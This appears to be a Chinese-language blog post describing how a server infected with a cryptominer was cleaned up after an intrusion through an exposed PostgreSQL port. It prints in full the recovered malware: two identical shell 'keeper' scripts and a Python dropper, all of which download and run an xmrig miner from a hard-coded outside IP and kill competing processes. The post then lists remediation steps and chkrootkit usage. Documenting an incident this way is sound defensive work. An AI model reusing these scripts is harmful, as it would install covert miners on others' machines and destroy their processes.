一次服务器被挖矿的处理解决过程

内网一台服务器cpu爆满，第6感猜测中了挖矿病毒，以下为cpu爆满监控图表

赶紧ssh进系统，top了下，一个./x3e536747 进程占用了大量的cpu，cpu load average超过了cpu内核数，先kill掉进程，不用猜，等会肯定会继续启动，检查开放端口，发现postgresql直接对外开放的。肯定是通过这个入口***进来的；暂时关闭外网pg 5432端口；找到挖矿执行路径，都在/tmp下，我拷贝了出来，放一个sh脚本上来大家一起研究
第一个脚本keeper-64.sh

#!/bin/sh

sPid=$$
mPid=''
mName='/tmp/.jgqwrjqwkhdoaeyhq'

checkCmd() {
    command -v $1 >/dev/null 2>&1
}

downloader () {
    if checkCmd wget; then
        wget $1 -O $2 
    elif checkCmd curl; then
        curl $1 -o $2
    else
        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    fi
    chmod +x $2
}

killer() {
    for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
        if [ $tmpVar = $sPid ]; then
            continue
        fi
        if [ $tmpVar = $mPid ]; then
            continue
        fi
        if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then
                echo "found jgqwrjqwkhdoaeyhq"
                continue
            fi
            kill -9 $tmpVar
            rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
        fi
    done
}

runer() {
    if [ -z "$mPid" ]; then
        if [ ! -f $mName ]; then
            downloader http://165.227.51.68/xmrig-64 $mName
            $mName
        else
            $mName
        fi
    fi
    mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

downloader http://165.227.51.68/xmrig-64 $mName
runer
killer
pkill python
while true; do
    sleep 10
    if ps -p $mPid > /dev/null; then
        killer
    else
        mPid=''
        runer
    fi
done

第二个脚本j23k6hl2k4jlk21.sh

#!/bin/sh

sPid=$$
mPid=''
mName='/tmp/.jgqwrjqwkhdoaeyhq'

checkCmd() {
    command -v $1 >/dev/null 2>&1
}

downloader () {
    if checkCmd wget; then
        wget $1 -O $2 
    elif checkCmd curl; then
        curl $1 -o $2
    else
        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    fi
    chmod +x $2
}

killer() {
    for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
        if [ $tmpVar = $sPid ]; then
            continue
        fi
        if [ $tmpVar = $mPid ]; then
            continue
        fi
        if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then
                echo "found jgqwrjqwkhdoaeyhq"
                continue
            fi
            kill -9 $tmpVar
            rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
        fi
    done
}

runer() {
    if [ -z "$mPid" ]; then
        if [ ! -f $mName ]; then
            downloader http://165.227.51.68/xmrig-64 $mName
            $mName
        else
            $mName
        fi
    fi
    mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

downloader http://165.227.51.68/xmrig-64 $mName
runer
killer
pkill python
while true; do
    sleep 10
    if ps -p $mPid > /dev/null; then
        killer
    else
        mPid=''
        runer
    fi
done

第三个python脚本

remote_path64 = "http://165.227.51.68/keeper-64.sh"
remote_path32 = "http://165.227.51.68/keeper-32.sh"
output_path = '/tmp/j23k6hl2k4jlk21.sh'
command = 'chmod 777 /tmp/j23k6hl2k4jlk21.sh&&sh /tmp/j23k6hl2k4jlk21.sh&&rm -rf /tmp/*.py'
#command = 'chmod 777 /tmp/jhkjqhwru1h4&&nohup /tmp/jhkjqhwru1h4&&rm -rf /tmp/*.py'

import platform
check = platform.architecture()
if "64bit" in check:
    remote_path = remote_path64
    print remote_path
elif "32bit" in check:
    remote_path = remote_path32
    print remote_path
else:
    exit()

def getRequest():
    request = ''
    try:
        # for python 3.x
        import urllib.request
        request = urllib.request
    except:
        # for python 2.x
        import urllib
        request = urllib
    return request

def download(url):
    request = getRequest()
    res = request.urlopen(remote_path)
    return res.read()

def put(path, data):
#    file = open(path, "wb")
    with open(path,'wb') as file:
        file.write(data)
#    file.close()

def run(cmd):
    import os
    os.system(cmd)

def main_station():
    data = download(remote_path)
    put(output_path, data)
    run(command)

main_station()

发现下载挖矿病毒脚本是美国的

netstat -antup 看了下还有哪些异常ip连接，发现我的服务器还会跟法国一个ip进行80访问连接，不用想，直接iptables drop掉这两个ip；清空/tmp目录，注意查看/tmp目录时用ls -al 因为发现挖矿脚本会用隐藏文件；
检查计划任务，没有异常
cat /etc/passwd | grep bash发现postgresql是可以登录的，
postgres:x:500:500:PostgreSQL:/opt/PostgreSQL/10:/sbin/nologin 改为nologin
修改root密码，使用chkrootkit检查是否有文件命令被替换，发现/tmp有隐藏执行文件，
Searching for Backdoor.Linux.Mokes.a。。。。。。。INFECTED
删除掉；
禁止root用户登录；
观察一晚上，一切正常。。。
附chkrootkit安装使用说明

安装依赖包
yum install gcc gcc-c++ make glibc-static -y
下载安装包
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz——无法下载自行用×××。。
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
echo $? 为0表示编译不报错
mv chkrootkit-0.52 /usr/local/chkrootkit
执行chkrootkit
/usr/local/chkrootkit/./chkrootkit  | grep INFECTED——列出有infected表示文件被感染。可以到正常的系统拷贝替换回去。

直接运行执行结果

如果执行报错，cant't find ssh
yum install openssh* -y